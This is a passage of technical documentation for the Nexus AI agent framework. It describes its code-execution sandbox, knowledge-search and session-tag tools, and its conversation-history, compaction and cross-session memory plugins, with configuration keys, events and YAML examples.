code.exec.resultWhen the script has finished, errored out, or timed out — always arrives after the final code.exec.stdout chunk for the same CallID

Stdout Streaming

The interpreter’s stdout and stderr are wired to a chunking writer that emits code.exec.stdout events while the script is still running. Flush triggers:

  1. Any newline in the pending buffer — everything up to the newline flushes.
  2. Pending buffer crosses a 512-byte threshold — forces out long lines that would otherwise wait for a newline.
  3. Script finish — any residual tail is flushed as the Final chunk.

The aggregated Output field on the terminal code.exec.result still contains the full stdout (capped at max_output_bytes), so non-streaming consumers keep working without changes. IO plugins that want live output subscribe to code.exec.stdout instead.

Sandboxing Layers

Defense in depth; each layer enforces a different concern:

  1. Import allowlist — AST-level rejection of any import not on allowed_packages{tools} ∪ active skills/<name>.
  2. AST go-stmt rejection — scripts cannot spawn goroutines.
  3. Wall-clock timeout — script runs under context.WithTimeout; tools.* shims observe cancellation.
  4. Stdout byte cap — capped writer drops excess and flags truncation.
  5. No heap/CPU cap — documented limitation; operators rely on OS-level process limits if a stronger guarantee is required.

Session Persistence

When persist_scripts is enabled each call writes to plugins/nexus.tool.code_exec/<callID>/:

plugins/nexus.tool.code_exec/<callID>/
  script.go     # exact source the LLM submitted
  stdout.txt    # captured stdout (capped)
  result.json   # JSON-marshaled Run() return value
  error.txt     # only present if the script failed

Example Config

plugins:
  active:
    - nexus.tool.shell
    - nexus.tool.file
    - nexus.tool.code_exec

  nexus.tool.code_exec:
    timeout_seconds: 30
    max_output_bytes: 65536
    max_workers: 8
    persist_scripts: true
    reject_goroutines: true

Non-Goals (phase 1)

  • Goroutines / go keyword
  • Provider-native programmatic tool calling (Anthropic allowed_callers)
  • Cross-skill imports
  • CPU / memory resource limits beyond the wall-clock timeout
  • Script REPL or debugger

Knowledge Search Tool

Plugin ID: nexus.tool.knowledge_search

LLM-facing tool that searches configured knowledge-base namespaces using semantic (vector) similarity. Named to parallel web_search — agents pick knowledge_search for configured knowledge and web_search for the open web.

For an end-to-end example wiring this tool into an agent, see the RAG guide.

Capabilities

Requires both:

  • embeddings.provider — to embed the query
  • vector.store — to run the similarity search

Both auto-activate via Requires() if not in the user’s active list.

Configuration

nexus.tool.knowledge_search:
  namespaces: [kb, project-docs]      # required allow-list
  default_namespaces: [kb]            # subset used when LLM omits the arg
  top_k: 5
  include_metadata: true
  # tool_name: knowledge_search       # rename the LLM-visible tool if you want
KeyTypeDefaultDescription
namespaceslist of string(required, non-empty)Allow-list of namespaces the tool can query.
default_namespaceslist of string(equal to namespaces)Subset used when the LLM doesn’t pass namespaces arg.
top_kint5Default max results. LLM may override per call up to maxTopK = 50.
include_metadatabooltrueWhether to return the full metadata map alongside structured fields.
tool_namestringknowledge_searchLLM-visible tool name. Override if it collides with another tool.

The active embeddings.provider plugin owns the model choice. Configure it on that plugin (e.g. nexus.embeddings.openai.model); the model used to ingest must match the model used to query.

If namespaces is empty or unset, boot fails — the tool refuses to register without a defined allow-list.

Tool surface

ArgumentTypeRequiredNotes
querystringyesThe semantic query. Phrase it as you would a search.
namespacesarray of stringnoSubset of allowed namespaces. Filtered through the allow-list; unknown names silently dropped.
kintnoMax results. Defaults to top_k, capped at maxTopK = 50.

Output

{
  "query": "what is the plugin lifecycle?",
  "results": [
    {
      "rank": 1,
      "namespace": "project-docs",
      "similarity": 0.84,
      "source": "docs/architecture/plugin-system.md",
      "chunk_idx": "2",
      "content": "Each plugin goes through three lifecycle phases: Init, Ready, and Shutdown...",
      "metadata": {
        "source": "docs/architecture/plugin-system.md",
        "chunk_idx": "2",
        "chunk_size": "768"
      }
    },
    ...
  ]
}

Fields:

FieldDescription
rank1-based ranking by similarity, post-merge across namespaces.
namespaceWhich namespace the hit came from.
similarityCosine similarity in [-1, 1]. Higher is better.
sourceLifted from metadata.source for convenient citation.
chunk_idxLifted from metadata.chunk_idx.
contentThe original chunk text, suitable for quoting.
metadataFull metadata map (only when include_metadata: true).

Behavior

  1. Trim and validate the query. Empty queries return an error result (the LLM sees Error: "query argument required").
  2. Resolve the namespace set: LLM-supplied names ∩ allow-list, falling back to default_namespaces when the LLM didn’t specify.
  3. Embed the query once via the embeddings.provider.
  4. Fan out one vector.query per namespace, all with the same vector and K = k.
  5. Merge all hits, sort by similarity descending, truncate to k.
  6. Format as JSON and emit tool.result.

Per-namespace failures log a warning but don’t fail the call — partial results are better than zero.

Choosing top_k

Higher = more context for the LLM, lower = less noise. Typical starting points:

Use casetop_k
Strict citation, narrow questions3
General knowledge base5 (default)
Open-ended research10

Don’t exceed the LLM’s context budget. With chunk size 1000 and top_k=10, the tool can return ~10 KB of JSON per call — fine for claude-sonnet-4, tight for smaller models.

Prompting the LLM

By default, the LLM may not realize the tool is the right thing to call for factual questions about your knowledge base. Add a hint to the system prompt — configs/rag.yaml does this:

nexus.agent.react:
  system_prompt: |
    You are a helpful assistant with access to a knowledge base. When the user
    asks a factual question, use the knowledge_search tool first to pull
    supporting chunks from the knowledge base, then cite sources by file path.

Adjust this for your domain. Be specific about what the knowledge base contains so the LLM knows when to reach for the tool.

Events

EventDirectionPayload
tool.invokeCatalog → pluginevents.ToolCall
embeddings.requestPlugin → bus*EmbeddingsRequest
vector.queryPlugin → bus*VectorQuery
before:tool.resultPlugin → bus (vetoable)*events.ToolResult
tool.resultPlugin → busevents.ToolResult
tool.registerPlugin → bus (Ready)events.ToolDef

Gate interaction

Goes through the standard vetoable before:tool.result hook, so existing gates apply unchanged: nexus.gate.content_safety, nexus.gate.output_length, nexus.gate.tool_filter, etc.

To restrict which agents can call this tool, use nexus.gate.tool_filter per-profile rather than maintaining multiple plugin instances.

Errors

  • at least one namespace must be configured under 'namespaces' at boot — the allow-list is required and must be non-empty.
  • query argument required in tool output — the LLM called without a query.
  • embed query: ... — the embeddings provider returned an error. Check the provider’s log line for the underlying cause.
  • no valid namespaces selected — every namespace the LLM passed was filtered out by the allow-list. Either widen the allow-list or fix the system prompt so the LLM only requests valid names.

Session Tags Tool

Gives the agent itself read/write access to its own session’s tags (key/value labels attached to the session), via four LLM-facing tools. Off by default.

Details

IDnexus.tool.session_tags
Sourceplugins/tools/session_tags/plugin.go
Tool Namessession_tag_set, session_tag_get, session_tag_delete, session_tag_list
DependenciesNone
Default stateNot active — opt-in only

Opting in

This plugin ships in the main binary but is not part of any stock config’s plugins.active list. To give the agent this capability, add it explicitly:

plugins:
  active:
    - nexus.tool.session_tags
    # ... your other active plugins

Same convention as nexus.embeddings.mock and other optional plugins: it’s compiled in, just not activated unless listed.

Configuration

nexus.tool.session_tags:
  tools:
    session_tag_set: true      # default
    session_tag_get: true      # default
    session_tag_delete: true   # default
    session_tag_list: true     # default
KeyTypeDefaultDescription
tools.<tool_name>booltrue for eachPer-tool enable/disable, mirroring nexus.tool.file’s tools.<tool_name> convention. Recognized names are session_tag_set, session_tag_get, session_tag_delete, session_tag_list; an unknown name under tools is logged and ignored rather than failing boot.

Tools

session_tag_set

ParameterTypeRequiredDescription
keystringYesThe tag key to set. Must not start with an underscore.
valuestringYesThe tag value.

Output (OutputStructured): {"key": string, "value": string}.

Sets a general-namespace session tag. Rides the same vetoable before:session.tag.set bus path any other caller uses — see Behavior and the reserved namespace below.

session_tag_get

ParameterTypeRequiredDescription
keystringYesThe tag key to read.

Output (OutputStructured): {"key": string, "value": string, "found": bool} (value only present when found is true).

Reads a single general-namespace tag directly off SessionMetadata().Labels — this call never touches the bus.

session_tag_delete

ParameterTypeRequiredDescription
keystringYesThe tag key to delete.

Output (OutputStructured): {"key": string}.

Deletes a general-namespace session tag. Rides the vetoable before:session.tag.delete bus path.

session_tag_list

No parameters.

Output (OutputStructured): {"tags": {"<key>": "<value>", ...}} — every general-namespace tag currently set on the session.

Behavior and the reserved namespace

This plugin can only ever touch the general (non-_-prefixed) namespace of SessionMeta.Labels. It has no special-casing, no pre-check, and no bypass around the engine’s reserved-prefix enforcement:

  • session_tag_set / session_tag_delete emit before:session.tag.set / before:session.tag.delete exactly like any other bus caller. The one enforcement point — engine.installSessionTagHandlers, using the shared engine.IsReservedLabelKey prefix check — rejects a reserved (_-prefixed) key unconditionally. A rejected call surfaces as an ordinary tool error (the veto reason), not a crash or a silent no-op.
  • session_tag_get reports a reserved key as not found ("found": false), identical to a key that was never set. It never uses a different error message or code path to reveal that the key exists.
  • session_tag_list omits reserved keys entirely from its result set — not redacted, not marked, simply absent, so the tool result carries no signal that a reserved namespace even exists.

In short: there is no argument, config key, or call sequence through this plugin that reads, writes, or enumerates a reserved-prefixed tag. Reserved tags (for example the identity-derived _principal_id binding written by nexus.io.agui) are written through a direct Go method not exposed on the bus, entirely outside this plugin’s reach.

For the full mechanics of the reserved-prefix mechanism itself — what counts as reserved, who else can write general-namespace tags without going through this plugin, and how session.tag.set/session.tag.deleted announcements fit into the rest of the system — see Session Tags.

Events

Subscribes To

EventPriorityPurpose
tool.invoke50Handles session_tag_set/get/delete/list calls

Emits

EventWhen
before:session.tag.setsession_tag_set call, before applying
before:session.tag.deletesession_tag_delete call, before applying
before:tool.resultBefore publishing any tool result (vetoable — gates can inspect/block)
tool.resultTool call result
tool.registerRegisters all four tools at Ready()

Reads (session_tag_get, session_tag_list) emit no bus events beyond the standard before:tool.result/tool.result pair — they read SessionMetadata().Labels directly and never touch the tag-write bus path.

Errors

  • key argument is requiredsession_tag_set/get/delete called without a key.
  • no active session — called outside a session context.
  • A vetoed before:session.tag.set/before:session.tag.delete surfaces the veto’s Reason as the tool’s Error string (this is how a reserved-key write/delete attempt is reported).

Example Configuration

plugins:
  active:
    - nexus.tool.session_tags
    # ... rest of your active plugins

nexus.tool.session_tags:
  tools:
    session_tag_delete: false   # let the agent set/read/list, but never delete

Memory Plugins

Memory plugins fall into three groups by what they remember and how:

  • Conversation history — the active message buffer that ships back to the LLM on every turn. One plugin advertising memory.history is active at a time.
  • Compaction — summarizes older messages so the conversation stays within the context window.
  • Cross-session memory — persists knowledge between sessions. Two flavors: structured (key-addressed notes) and semantic (embedding-addressed recall).

Available Memory Plugins

PluginIDCapabilityPurpose
Simple Historynexus.memory.simplememory.historyUnbounded append-only history; reference/test impl
Capped Historynexus.memory.cappedmemory.historySliding window with JSONL persistence (default memory.history provider)
Summary-Buffer Historynexus.memory.summary_buffermemory.history + memory.compactionKeeps recent N verbatim, LLM-summarizes older inline
Context Compactionnexus.memory.compactionmemory.compactionExternal coordinator that summarizes old messages and emits memory.compacted
Long-Term Memorynexus.memory.longtermmemory.longtermCross-session structured notes: file-per-entry, YAML frontmatter + markdown, key-addressed, LLM tools (memory_read, memory_write, memory_list, memory_delete)
Vector Memorynexus.memory.vectormemory.vectorCross-session semantic recall: embedding-addressed, automatic on every turn, auto-stores compaction summaries

How Memory Works

Within a session, conversation memory plugins listen to I/O and tool events, building up a message buffer. When agents need history (for llm.request), they query the active memory.history provider via memory.history.query. When the buffer would exceed the context window, the compaction plugin (if active) summarizes older messages and emits memory.compacted so any history buffer that supports adoption can swap in the compacted view.

Across sessions, two independent plugins offer different recall styles:

  • nexus.memory.longterm is the agent’s filing cabinet. The LLM deliberately writes structured notes by key; on each session start, an index of titles + tags is injected into the system prompt and the agent reads full content on demand.
  • nexus.memory.vector is the agent’s associative memory. On every user input, the plugin embeds the message and pulls semantically-similar past content into the prompt automatically. It also auto-stores compaction summaries so trimmed context stays recallable.

The two coexist and don’t share storage — pick one, or activate both for complementary recall styles. They’re documented side-by-side in Vector Memory → vs long-term memory. For the full RAG context, see the RAG guide.

Simple History

Minimal reference implementation of memory.history: an unbounded, in-memory slice with no persistence. Useful for tests, demos, and short-lived sessions where the sliding-window/pair-safe machinery of nexus.memory.capped adds no value.

Details

IDnexus.memory.simple
Capabilitymemory.history
DependenciesNone

Configuration

No configuration required.

Events

Subscribes To

EventPriorityPurpose
io.input10Records user messages
llm.response10Records assistant responses (with ToolCalls populated)
tool.invoke10Tracks ParentCallID filter set only; no message appended
tool.result10Records tool role messages (unless internally dispatched)
memory.history.query50Responds with the current buffer in LLM-native order
memory.compacted50Replaces the buffer with the compacted message set

Emits

None.

Behaviour

  • Storage mirrors events.Message exactly so consumers feed the buffer directly into an LLMRequest without translation.
  • Internal tool calls (ParentCallID != "") are filtered so the LLM never sees tool_use_ids it didn’t generate — same invariant as nexus.memory.capped.
  • llm.response events tagged with Metadata["_source"] (planner replies, summariser replies) are ignored so only user-facing turns land in the buffer.
  • No persistence: history is lost on process exit.

When to Use

  • Integration tests where the default capped plugin’s JSONL persistence is overhead.
  • Experimental agents where bounded history would confuse the outcome.
  • Reference for building a new memory.history provider.

Example Configuration

capabilities:
  memory.history: nexus.memory.simple

plugins:
  active:
    - nexus.agent.react
    - nexus.memory.simple

Capped Conversation History

Maintains a sliding window of conversation messages and persists them to the session as JSONL. Default provider of memory.history.

Details

IDnexus.memory.capped
DependenciesNone

Configuration

KeyTypeDefaultDescription
max_messagesint100Maximum messages to keep in the buffer
persistbooltrueWrite messages to context/conversation.jsonl in the session

Events

Subscribes To

EventPriorityPurpose
io.input10Records user messages
io.output10Records agent responses
tool.invoke50Records tool calls
tool.result50Records tool results
memory.store50Explicit memory storage requests
memory.query50Responds to history queries
memory.compacted50Replaces history with compacted version

Emits

EventWhen
memory.resultResponse to a memory.query

Behavior

  • Messages are stored in a rolling buffer of size max_messages
  • Oldest messages are dropped when the buffer is full
  • If persist: true, each message is appended to context/conversation.jsonl as it arrives
  • On memory.compacted, the buffer is replaced with the compacted messages

Querying History

Other plugins can query conversation history:

bus.Emit("memory.query", events.MemoryQuery{
    Query:     "",    // Not filtered — returns all
    Limit:     50,    // Max messages to return
    SessionID: "...", // Current session
})
// Listen for memory.result event with the messages

Example Configuration

nexus.memory.capped:
  max_messages: 200
  persist: true

Summary-Buffer History

Inline auto-compacting memory.history provider. Keeps the most recent max_recent messages verbatim and replaces older messages with an LLM-generated summary, emitted as a single system message at the head of the buffer.

Unlike nexus.memory.compaction — which is an external coordinator that emits memory.compacted for a separate history plugin to adopt — this plugin serves memory.history directly, so the summarised view is what the ReAct agent sees on the next request.

Details

IDnexus.memory.summary_buffer
Capabilitiesmemory.history, memory.compaction
DependenciesAn LLM provider addressable by the configured model_role.

Note. Running this plugin alongside nexus.memory.compaction is a misconfiguration: both advertise memory.compaction and the engine will emit a boot-time WARN naming the ambiguity. Pick one.

Configuration

KeyTypeDefaultDescription
strategystring"message_count"Trigger type: "message_count", "token_estimate", "turn_count"
message_thresholdint50Buffer size that fires message_count strategy
token_thresholdint30000Estimated tokens that fires token_estimate strategy
turn_thresholdint10Turn count that fires turn_count strategy
chars_per_tokenfloat644.0Rough per-token char ratio for token estimation
max_recentint8Number of recent messages kept verbatim after summarisation
model_rolestring"quick"Role used to dispatch the summarisation LLM request
promptstringbuilt-inInline override of the summarisation system prompt. The default prompt is reasoning-preservation aware: it instructs the summariser to wrap segments in <summary topic="…" compressed-from-turns="…">…</summary> and end with a ## Preserved Kinds: trailer. Overriding loses both behaviours.
prompt_filestringunsetPath to a file containing the summarisation prompt (takes precedence over prompt)
quality_retryboolfalseRe-run the summariser once with a stricter prompt when the trailer omits any required preserved kind. Off by default for backwards compatibility.
require_preserved_kinds[]string["decision","rationale"]Trailer kinds whose presence is required when quality_retry: true. Allowed values: decision, rationale, error, next_step, technical_detail.

Events

Subscribes To

EventPriorityPurpose
io.input10Records user messages
llm.response10Records assistant responses; absorbs summariser replies tagged _source=nexus.memory.summary_buffer
tool.invoke10Tracks internal-call filter
tool.result10Records tool role messages
agent.turn.end5Increments turn counter (drives turn_count strategy)
memory.history.query50Serves the current buffer in LLM-native order
memory.compact.request10Forces a summarisation cycle (from context-window gate, etc.)

Emits

EventWhen
llm.requestWhen a summarisation trigger fires. Tagged Metadata["_source"] = "nexus.memory.summary_buffer"
memory.compaction.triggeredStart of each summarisation cycle
memory.compactedEnd of each summarisation cycle, with the new buffer contents
memory.summary_replacedSpan-level replacement event with from-turn range, original/summary token estimates, and the trailer-reported preserved kinds
memory.curatedStability descriptor for the cache-aware prompt builder (Layer: "summary_buffer", CacheInvalidates: true)
io.statusUI status updates: "Summarising context..." / "idle"

Behaviour

  1. Every append runs a threshold check (except turn_count, which checks at agent.turn.end).
  2. On trip, the plugin snapshots the buffer and computes a safe split — protecting the trailing max_recent messages, shifting the boundary left when needed so an assistant tool_use and its matching tool_result(s) are never separated.
  3. The snapshot prefix is serialised into a transcript and sent to the LLM via the configured model_role.
  4. On the summariser’s reply, the plugin collapses the prefix into a single system message ("## Prior Context (Summarised)\n\n...") and replaces the buffer with [summary, ...recent].
  5. memory.compacted is emitted so any observer plugins (logger, UI) see the transition.

When to Use

  • Long-running chat sessions where context window is the binding constraint.
  • Agents that don’t benefit from verbatim history beyond the last few turns.
  • Workloads that tolerate occasional latency spikes when a summarisation cycle runs mid-turn.

Example Configuration

capabilities:
  memory.history: nexus.memory.summary_buffer

plugins:
  active:
    - nexus.agent.react
    - nexus.memory.summary_buffer

  nexus.memory.summary_buffer:
    strategy: token_estimate
    token_threshold: 20000
    max_recent: 10
    model_role: quick

Context Compaction

Monitors conversation size and automatically summarizes older messages using an LLM when thresholds are exceeded. This prevents the context window from growing unbounded.

Details

IDnexus.memory.compaction
DependenciesNone

Configuration

KeyTypeDefaultDescription
strategystringmessage_countTrigger strategy: message_count, token_estimate, or turn_count
message_thresholdint50Trigger when message count exceeds this (for message_count strategy)
token_thresholdint30000Trigger when estimated tokens exceed this (for token_estimate strategy)
turn_thresholdint10Trigger when turn count exceeds this (for turn_count strategy)
chars_per_tokenfloat4.0Characters per token estimate (for token_estimate strategy)
model_rolestringquickModel role for the compaction LLM call
protect_recentint4Number of most recent messages to keep verbatim (not summarized)
compaction_promptstring(built-in)Custom inline prompt for the summarization
prompt_filestring(none)Path to a custom compaction prompt file
persistbooltruePersist the live tracked log and archive snapshots to the session workspace

Events

Subscribes To

EventPriorityPurpose
io.input / io.output5Track messages for threshold checks
tool.invoke / tool.result5Track tool messages
agent.turn.end30Check thresholds after each turn
llm.response5Track token usage

Emits

EventWhen
llm.requestSends summarization request to LLM
memory.compaction.triggeredCompaction started
memory.compactedCompaction complete — new message set
thinking.stepRecords the compaction reasoning
io.statusStatus updates during compaction

Strategies

message_count

Triggers compaction when the total number of tracked messages exceeds message_threshold.

token_estimate

Estimates token count using chars_per_token and triggers when token_threshold is exceeded. This is approximate but avoids counting actual tokens.

turn_count

Triggers when the number of completed turns exceeds turn_threshold.

How Compaction Works

  1. Threshold is exceeded after a turn ends
  2. Plugin emits memory.compaction.triggered
  3. Archives the pre-compaction transcript to the session workspace
  4. Sends older messages (excluding the protect_recent most recent) to the LLM for summarization
  5. Writes the returned summary as a sidecar next to the archive snapshot
  6. Rotates the live log so it now holds [summary, ...protected]
  7. Emits memory.compacted with the new message set
  8. The active memory.history provider replaces its buffer with the compacted version

Persisted Artifacts

When persist is enabled (the default) the plugin mirrors its tracked state into the session workspace so every compaction cycle is fully auditable:

plugins/nexus.memory.compaction/
├── current.jsonl                         # live log — mirrors in-memory state
└── archive/
    ├── 001-20260410-142301.jsonl         # pre-compaction snapshot
    ├── 001-20260410-142301.meta.json     # reason, strategy, counts
    ├── 001-20260410-142301.summary.md    # LLM-produced summary
    ├── 002-20260410-151855.jsonl
    ├── 002-20260410-151855.meta.json
    └── 002-20260410-151855.summary.md
  • current.jsonl is appended to on every tracked message and rewritten in place at the end of each compaction. After rotation it contains the summary system message followed by the protected recent messages, which is exactly what the plugin holds in memory.
  • Each archive/NNN-* cycle is a three-file record: the raw transcript that was compacted, the metadata describing why, and the summary that replaced it. The numeric counter is recovered from the archive directory on startup so numbering survives session resumes.
  • On Ready() the plugin preloads current.jsonl so a resumed session continues from the exact state it left, with any prior compaction summaries already in place.

Example Configuration

nexus.memory.compaction:
  strategy: token_estimate
  token_threshold: 30000
  model_role: quick
  protect_recent: 6

With Custom Prompt

nexus.memory.compaction:
  strategy: message_count
  message_threshold: 40
  model_role: quick
  protect_recent: 4
  prompt: |
    Summarize the conversation so far in 200 words or less, preserving any
    decisions, code changes, and unresolved questions.

Tool-Result Clearing

Live curator that drops the body of stale tool results from outgoing LLM requests while keeping the call/result envelope. The model still sees that the tool was invoked; the (often large) body is replaced inline with a <tool_result … cleared="true" …/> marker.

This is the highest-leverage layer in Idea 30’s curation stack — for tool-heavy sessions, 50–80% of context bytes are tool-result bodies, most of which are dead weight by the time the next request fires.

Details

IDnexus.memory.tool_result_clear
Capabilitiesnone
Dependenciesnone

Operates at priority 12 on before:llm.request — after nexus.discovery.progressive (priority 8) has shaped the tool list, then re-shapes the outgoing message slice without touching the upstream history buffer.

Configuration

KeyTypeDefaultDescription
enabledbooltrueToggle the curator.
age_turnsint5Clear tool results older than this many turns when also exceeding size_bytes_threshold.
size_bytes_thresholdint1000Skip clearing for result bodies smaller than this many bytes.
preserve_recent_kinds[]string["error","user_question"]Result kinds never cleared regardless of age.
drop_strategystringreplace_with_envelopereplace_with_envelope keeps the call/result pair with a marker body (default). full_drop removes the message entirely; risks tool_use/tool_result pairing breakage.

Heuristics

A tool result is cleared when any of the following hold:

  • Age + sizenow_turn − call_turn ≥ age_turns AND len(result) ≥ size_bytes_threshold.
  • Subsequent-call — the same tool was invoked later with semantically equivalent arguments (canonical-JSON hash). Earlier results are redundant.
  • Preserved kind exemption — results classified as error (and any kind listed in preserve_recent_kinds) are never cleared.

Once an ID is cleared, it stays cleared for the remainder of the session — subsequent requests re-replace deterministically without re-running the heuristic.

Events

Subscribes To

EventPriorityPurpose
tool.invoke60Track call name, canonical args hash, and turn
tool.result60Record result size and kind classification
agent.turn.end60Increment internal turn counter
before:llm.request12Mutate req.Messages, replace stale tool result bodies

Emits

EventWhen
memory.tool_result_clearedOnce per cleared call (carries tool_call_id, tool, original_size, cleared_at_turn, reason)
memory.curatedEnvelope event with stability descriptor (Layer: "tool_result_clear", CacheInvalidates: false)

Replay Determinism

The clearing decision is heuristic, but every cleared call is recorded as a memory.tool_result_cleared event. The durable journal (Idea 01) captures these events so replay reproduces the same envelope without re-running the heuristic.

Example Configuration

plugins:
  active:
    - nexus.agent.react
    - nexus.memory.tool_result_clear

  nexus.memory.tool_result_clear:
    enabled: true
    age_turns: 4
    size_bytes_threshold: 512
    preserve_recent_kinds: ["error", "user_question"]
    drop_strategy: replace_with_envelope

Tool-Definition Pruner

Removes individual tool definitions from outgoing LLMRequest.Tools when those tools have been idle past a turn threshold. Pairs with nexus.discovery.progressive: progressive scopes by class, this scopes per individual tool.

For sessions where the agent loaded 30 tool definitions in turn 4 but only uses 3 of them, the pruner keeps the unused 27 from paying tokens on every subsequent request.

Details

IDnexus.memory.tool_def_pruner
Capabilitiesnone
Dependenciesnone

Operates at priority 14 on before:llm.request — after both nexus.discovery.progressive (8) and nexus.memory.tool_result_clear (12) have shaped the request.

Configuration

KeyTypeDefaultDescription
enabledbooltrueToggle the pruner.
unused_turns_thresholdint6Drop a tool definition after this many consecutive turns without an invocation.
never_prune[]string["discover","ask_user"]Tool names exempt from pruning.

Behaviour

  • Subscribes to tool.invoke to reset the per-tool last-used counter on every successful call. A pruned tool that the agent invokes again is un-pruned automatically — typically by going back through discovery/progressive’s discover meta-tool.
  • First sight of a tool registers it at the current turn rather than zero, so freshly-loaded tools aren’t pruned the moment they appear.

Events

Subscribes To

EventPriorityPurpose
tool.invoke60Reset per-tool last-used counter
agent.turn.end60Increment internal turn counter
before:llm.request14Filter req.Tools

Emits

EventWhen
memory.tool_def_prunedPer pruned tool (carries tool_id, last_used_turn, definition_size)
memory.curatedEnvelope event (Layer: "tool_def_pruner", CacheInvalidates: true — tool defs are part of the cached prefix)

Example Configuration

plugins:
  active:
    - nexus.agent.react
    - nexus.memory.tool_def_pruner

  nexus.memory.tool_def_pruner:
    unused_turns_threshold: 6
    never_prune: ["discover", "ask_user", "memory_read"]

Topic-Aware Pruner

Detects topic boundaries in user input and emits memory.topic_shift_detected. The pruner does not itself rewrite history; it surfaces the shift so other plugins (summary buffer, compaction) can react.

Details

IDnexus.memory.topic_pruner
Capabilitiesnone
Dependenciesnone; uses embeddings.provider opportunistically when one is registered.

Two signals are combined:

  • Explicit phrase — substring match against a configurable list ("different question", "new topic", "let's move on", etc.). Cheap, deterministic. Lead-anchored phrases ("unrelated:", "separately,") are tagged user_explicit; substring matches are tagged phrase.
  • Embedding similarity — cosine similarity between the latest user input and the rolling centroid of the current topic’s user inputs. Below the configured threshold flags a shift. Runs only when an embeddings.provider is active. Tagged embedding.

Configuration

KeyTypeDefaultDescription
enabledbooltrueToggle the pruner.
similarity_thresholdfloat0.55Cosine similarity below which a new user input flags a topic shift. Used only when an embeddings.provider is active.
keep_last_topic_fullbooltrueReserved for downstream consumers.
explicit_phrases[]stringsee codeLowercase substrings that signal a topic shift. Replacing the list disables the defaults.

Defaults for explicit_phrases:

"different question", "different topic", "new topic", "new question",
"let's move on", "moving on", "change of subject", "switching gears",
"unrelated:", "separately,", "on a different note"

Events

Subscribes To

EventPriorityPurpose
io.input60Run the classifier on every user input
agent.turn.end60Track the current turn for debouncing

Emits

EventWhen
memory.topic_shift_detectedPer detected shift (carries from_turn, to_turn, similarity, signal)
memory.curatedEnvelope event (Layer: "topic_pruner", CacheInvalidates: false)
embeddings.requestPointer-payload request when an embeddings.provider is active

Same-turn duplicate signals are debounced — at most one shift event per turn boundary.

Replay Determinism

Topic-shift decisions are non-deterministic (heuristic + embeddings). Each decision is journalled as a memory.topic_shift_detected event (Idea 01) so replay reproduces the same boundaries.

Example Configuration

plugins:
  active:
    - nexus.agent.react
    - nexus.memory.topic_pruner
    - nexus.embeddings.openai   # optional; enables the embedding signal

  nexus.memory.topic_pruner:
    enabled: true
    similarity_threshold: 0.55
    explicit_phrases:
      - "different question"
      - "new topic"
      - "moving on"

Long-Term Memory

Plugin ID: nexus.memory.longterm

Cross-session memory persistence. Stores memories as individual markdown files with YAML frontmatter. Injects a lightweight index into the system prompt on boot and provides LLM tools for CRUD operations.

Configuration

nexus.memory.longterm:
  # Where memory files live.
  # Default: ~/.nexus/memory/ (CLI), ~/.nexus/agents/<agentID>/memory/ (desktop shell)
  path: "~/.nexus/memory/"

  # Memory scope: "agent" (per-agent isolated), "global" (shared across agents), or "both".
  # "both" merges global + agent-scoped memories, with agent-scoped taking precedence on key conflicts.
  scope: "agent"

  # Inject memory index (titles + keys + tags) into system prompt on session start.
  auto_load: true

  # Instructions injected into system prompt telling the LLM when to
  # proactively save memories mid-session. Empty string = only save when
  # user explicitly asks (tools still available, just no prompting to use them).
  auto_save_instructions: ""

  # Agent ID for agent-scoped storage (injected automatically by desktop shell).
  agent_id: ""

Scope Resolution

scope valuePaths searchedWrite target
agent~/.nexus/agents/<agentID>/memory/agent path
global~/.nexus/memory/global path
bothglobal path + agent path (agent wins conflicts)agent path

For CLI mode (no agent ID), agent and global behave identically — both use the configured path.

Storage Format

One file per memory entry at <memory_path>/<key>.md:

---
key: user_prefers_dark_mode
tags:
  category: preference
  domain: ui
created: 2026-04-10T14:30:00Z
updated: 2026-04-15T09:00:00Z
source_session: 20260410-143022
---

User strongly prefers dark mode across all interfaces.
They mentioned eye strain with light themes during long sessions.

Keys are sanitized to lowercase alphanumeric with hyphens and underscores, truncated to 128 characters.

LLM Tools

ToolParametersDescription
memory_writekey (string), content (string), tags (map, optional)Create or update a memory entry
memory_readkey (string)Read full content of a memory entry
memory_listtags (map, optional)List all memories, optionally filtered by tags (AND semantics)
memory_deletekey (string)Delete a memory entry

System Prompt Injection

When auto_load: true, the plugin injects a section listing all available memories with key, tags, and a one-line preview (first line of content). Full content is retrieved on demand via memory_read.

Events

EventDirectionPayload
memory.longterm.loadedPlugin -> busLongTermMemoryLoaded
memory.longterm.storeAny -> pluginLongTermMemoryStoreRequest
memory.longterm.storedPlugin -> busLongTermMemoryStored
memory.longterm.readAny -> pluginLongTermMemoryReadRequest
memory.longterm.resultPlugin -> busLongTermMemoryReadResult
memory.longterm.deleteAny -> pluginLongTermMemoryDeleteRequest
memory.longterm.deletedPlugin -> busLongTermMemoryDeleted
memory.longterm.listAny -> pluginLongTermMemoryQuery
memory.longterm.list.resultPlugin -> busLongTermMemoryListResult

Desktop Shell Integration

The desktop shell automatically injects agent_id into the plugin config before boot, enabling per-agent memory isolation without manual configuration.

Vector Memory

Plugin ID: nexus.memory.vector Capability: memory.vector

Per-agent semantic recall backed by the vector.store capability. On every user turn, the plugin embeds the input, queries the agent’s namespace for relevant past content, and renders the hits as a <recalled_memory> block in the next system prompt. Compaction summaries are auto-stored so trimmed context stays recallable.

Fully independent of nexus.memory.longterm — separate code, capability, and storage. They coexist and complement each other:

nexus.memory.longtermnexus.memory.vector
Address bykey (LLM-managed)embedding (semantic similarity)
Storageone markdown file per entry, YAML frontmattervector store namespace
LLM toolsmemory_read / memory_write / memory_list / memory_deletenone — automatic
Best forstructured notes, preferences, exact factsfuzzy recall of summaries, topics, prior turns

Long-term is the agent’s deliberate filing cabinet; vector memory is the agent’s automatic associative recall.

Capabilities

  • Provides: memory.vector
  • Requires: embeddings.provider, vector.store

Both required capabilities auto-activate via Requires() if missing.

Configuration

nexus.memory.vector:
  # namespace: memory-default               # default: "memory-{InstanceID}"
  top_k: 5
  min_similarity: 0.3
  auto_store_compaction: true               # auto-write summaries on memory.compacted
  auto_store_user_input: false              # off by default; turning on makes every turn a memory
  section_priority: 45                      # PromptRegistry priority for the recalled-memory block
KeyTypeDefaultDescription
namespacestringmemory-{InstanceID}Vector store namespace for this agent. The default sanitizes the InstanceID for filesystem safety (/-, :-). Multi-agent desktop shells isolate automatically.
top_kint5Max hits queried per turn.
min_similarityfloat0.0Hits below this similarity are dropped from the prompt. 0 disables filtering.
auto_store_compactionbooltrueWrite the compaction summary on memory.compacted.
auto_store_user_inputboolfalseWrite every user message. Off by default — usually too noisy.
